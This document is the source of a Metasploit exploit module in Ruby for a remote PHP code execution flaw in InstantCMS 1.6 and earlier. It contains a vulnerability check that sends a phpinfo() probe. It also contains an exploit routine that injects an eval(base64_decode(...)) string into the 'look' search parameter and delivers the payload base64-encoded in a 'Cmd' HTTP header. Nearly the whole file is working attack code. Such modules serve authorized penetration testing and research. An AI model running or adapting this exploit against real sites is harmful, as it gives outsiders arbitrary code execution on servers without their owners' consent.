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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'InstantCMS 1.6 Remote PHP Code Execution',
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        'Description' => %q{
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          This module exploits an arbitrary PHP command execution vulnerability because of a
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          dangerous use of eval() in InstantCMS in versions 1.6 and prior.
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        },
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        'Author' => [
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          'AkaStep', # Vulnerability discovery and PoC
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          'Ricardo Jorge Borges de Almeida <ricardojba1[at]gmail.com>', # Metasploit module
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          'juan vazquez' # Metasploit module
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'BID', '60816' ],
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          [ 'PACKETSTORM', '122176' ]
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        ],
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        'Privileged' => false,
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        'Platform' => 'php',
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        'Arch' => ARCH_PHP,
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        'Targets' => [
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          [ 'InstantCMS 1.6', {} ],
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        ],
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        'DisclosureDate' => '2013-06-26',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('TARGETURI', [true, "The URI path of the InstantCMS page", "/"])
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      ]
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    )
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  end
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  def check
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    res = send_request_cgi({
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      'uri' => normalize_uri(target_uri.to_s),
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      'vars_get' =>
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      {
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        'view'	=> 'search',
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        'query' => '${echo phpinfo()}'
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      }
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    })
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    if res and res.body.match(/Build Date/)
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      return Exploit::CheckCode::Vulnerable
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    end
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    Exploit::CheckCode::Safe
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  end
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  def exploit
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    print_status("Executing payload...")
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    res = send_request_cgi({
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      'uri' => normalize_uri(target_uri.to_s),
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      'vars_get' =>
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      {
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        'view'	=> 'search',
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        'query' => rand_text_alpha(3 + rand(3)),
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        'look' => "#{rand_text_alpha(3 + rand(3))}\",\"\"); eval(base64_decode($_SERVER[HTTP_CMD]));//"
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      },
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      'headers' => {
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        'Cmd' => Rex::Text.encode_base64(payload.encoded)
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      }
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    })
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  end
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end
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